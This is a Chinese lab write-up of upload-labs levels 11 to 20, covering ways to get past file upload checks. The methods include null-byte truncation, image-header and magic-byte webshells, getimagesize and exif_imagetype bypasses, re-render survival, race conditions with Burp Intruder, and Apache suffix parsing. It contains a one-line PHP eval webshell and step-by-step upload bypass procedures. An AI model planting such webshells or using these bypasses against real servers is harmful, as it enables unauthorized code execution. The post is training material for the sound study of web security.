文件上传漏洞2

声明:本文中所有操作均在合法合规的靶场环境、虚拟环境中进行。

任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序、工具;明知他人从事危害网络安全的活动的,不得为其提供技术支持、广告推广、支付结算等帮助。

一、Pass11 & Pass12:0x00 截断

核心原理

  • %00 是 URL 编码的空字节(ASCII 0x00),在 PHP 中遇到空字节会终止字符串处理,实现文件名截断。

  • 前提条件:magic_quotes_gpc = Off(关闭魔术引号,否则%00会被转义为\0,失效),且 PHP 版本 < 5.3.4。

关键区别(GET vs POST)

提交方式 解码特性 操作要点
GET 型 浏览器会自动对 URL 进行 URL 解码 直接在 URL 后拼接 1.php%00,服务器解析为 1.php
POST 型 不会自动解码%00 需在抓包工具中对%00进行手动 URL 解码,右键选择Convert selection > URL > URL-decode

操作示例

  1. 上传合法图片文件(如1.png)。

  2. 抓包修改文件名 / 路径:1.php%00.png

  3. 放行请求后,服务器实际保存为1.php,绕过白名单校验。

二、Pass13:图片木马(文件头校验绕过)

核心原理

后端仅校验文件开头 2 个字节(文件头)判断是否为图片,不校验文件内容。我们可以通过文件合并的方式,让文件既保留图片头,又包含 PHP 代码。

制作方法(Windows 命令行)

复制代码
copy /b image.png + info.php webshell.png
  • /b:二进制模式合并,保留图片文件头

  • 效果:文件前半部分是合法图片头,后半部分是 PHP 代码

执行条件

必须配合文件包含漏洞使用,例如:

复制代码
http://127.0.0.1/include.php?file=upload/webshell.png

文件包含时会解析图片中的 PHP 代码,实现执行。

三、Pass14:getimagesize() 校验绕过

核心原理

getimagesize() 函数会读取文件的宽高信息,成功返回数组,失败返回FALSE并抛出警告。仅靠添加图片头(GIF89a)即可绕过基础校验,无需完整图片。

制作方法

在 PHP 木马文件开头添加 GIF 文件头:

复制代码
GIF89a
<?php @eval($_POST['cmd']); ?>

上传后文件头被识别为 GIF 图片,函数校验通过,后续 PHP 代码可被解析执行。

四、Pass15:exif_imagetype() 校验绕过

核心原理

exif_imagetype() 会读取文件的第一个字节,校验图片签名(如 JPEG 的FFD8FF、PNG 的89504E47),匹配则返回常量值,否则返回FALSE

制作方法

  • JPEG 木马:开头添加FF D8 FF(十六进制)

  • PNG 木马:开头添加89 50 4E 47 0D 0A 1A 0A(十六进制)

  • 后续拼接 PHP 代码,即可绕过校验。

五、Pass16:二次渲染绕过(GIF 图片)

核心原理

后端会对上传的 GIF 图片进行重新渲染,普通图片马的 PHP 代码会被清除。GIF 格式颜色限制为 256 色,渲染改动较小,适合构造二次渲染不被破坏的木马。

制作步骤

  1. 上传正常 GIF 图片,获取服务器渲染后的版本。

  2. 使用十六进制工具(如010 Editor)对比原图与渲染后文件,找到未被修改的区域。

  3. 在未被修改的区域插入 PHP 代码,保存为新的 GIF 文件。

  4. 上传后,配合文件包含漏洞执行代码。

解析报错处理

如果 PHP 代码无法解析,检查php.ini配置:short_open_tag = On需改为OFF

六、Pass17:条件竞争漏洞

核心原理

服务器逻辑为先保存文件 → 再校验后缀 → 不合法则删除,利用保存与删除的时间差,反复访问未删除的 PHP 文件,实现执行。

操作步骤

  1. 上传 PHP 文件(如info.php),用 Burp 抓包。

  2. 发送到 Intruder,设置Null payloads(无限发包),让文件反复被创建。

  3. 同时用浏览器 / 脚本高频访问文件地址:http://localhost/upload/info.php,抢在删除前执行。

  4. 建议上传 "生成型木马",执行后在目录生成永久 Shell 文件,摆脱条件竞争限制。

七、Pass18:Apache 解析漏洞 + 条件竞争

核心原理

  • 服务器逻辑:先移动文件,再修改文件名

  • Apache 解析漏洞:从后往前识别后缀,不认识的后缀会跳过,最终解析为 PHP。

操作步骤

  1. 构造文件名:info.php.7z.7z在白名单内,服务器校验放行)。

  2. 上传文件,用 Burp Intruder 无限发包,让文件持续存在。

  3. 高频访问文件地址:http://localhost/uploadinfo.php.7z,Apache 会将其解析为 PHP 执行。

八、Pass19:黑名单绕过

核心原理

后端采用后缀黑名单校验,拦截.php/.php2~5/.phtml等后缀,但存在多种绕过方式。

主流绕过方法

  1. 0x00 截断绕过upload-19.php%00.jpg(PHP<5.3.4 生效)

  2. 特殊后缀绕过upload-19.php/.(Windows 系统会自动剔除末尾的点,还原为.php

  3. 双后缀绕过upload-19.php.xxx(后端校验最后一个后缀,Apache 向前解析 PHP)

九、Pass20:数组绕过

核心原理

后端仅校验请求头中的Content-Type字段,判断文件类型,不校验文件后缀和内容。

操作步骤

  1. 上传 PHP 文件,用 Burp 抓包。

  2. 修改请求头中的Content-Type为白名单内的图片类型:

    复制代码
    Content-Type: image/jpeg
  3. 修改save_name0的内容为upload-20.php/

  4. 创建save_name2,内容为jpg

  5. 放行请求,服务器校验通过,文件成功上传。

相关推荐
菩提小狗6 天前
每日安全情报报告 · 2026-06-04
网络安全·漏洞·cve·安全情报·每日安全
南山丶无梅落6 天前
文件上传漏洞1
apache·绕过·文件上传漏洞·网安·upload闯关·文件类型验证
菩提小狗7 天前
每日安全情报报告 · 2026-06-03
网络安全·漏洞·cve·安全情报·每日安全
南山丶无梅落7 天前
XXE漏洞
xml·漏洞·xxe·网安
菩提小狗8 天前
每日安全情报报告 · 2026-06-02
网络安全·漏洞·cve·安全情报·每日安全
网络研究院9 天前
即将过期的安全启动证书将如何影响 Windows 设备
安全·微软·系统·漏洞·硬件
网络研究院9 天前
管理瘫痪、人员短缺:深度解析 NIST NVD 为什么审不动漏洞了?
网络·安全·漏洞·管理·危机
IT 青年11 天前
从根域名出发的全量资产收集方法论
信息收集·网安
菩提小狗11 天前
每日安全情报报告 · 2026-05-30
网络安全·漏洞·cve·安全情报·每日安全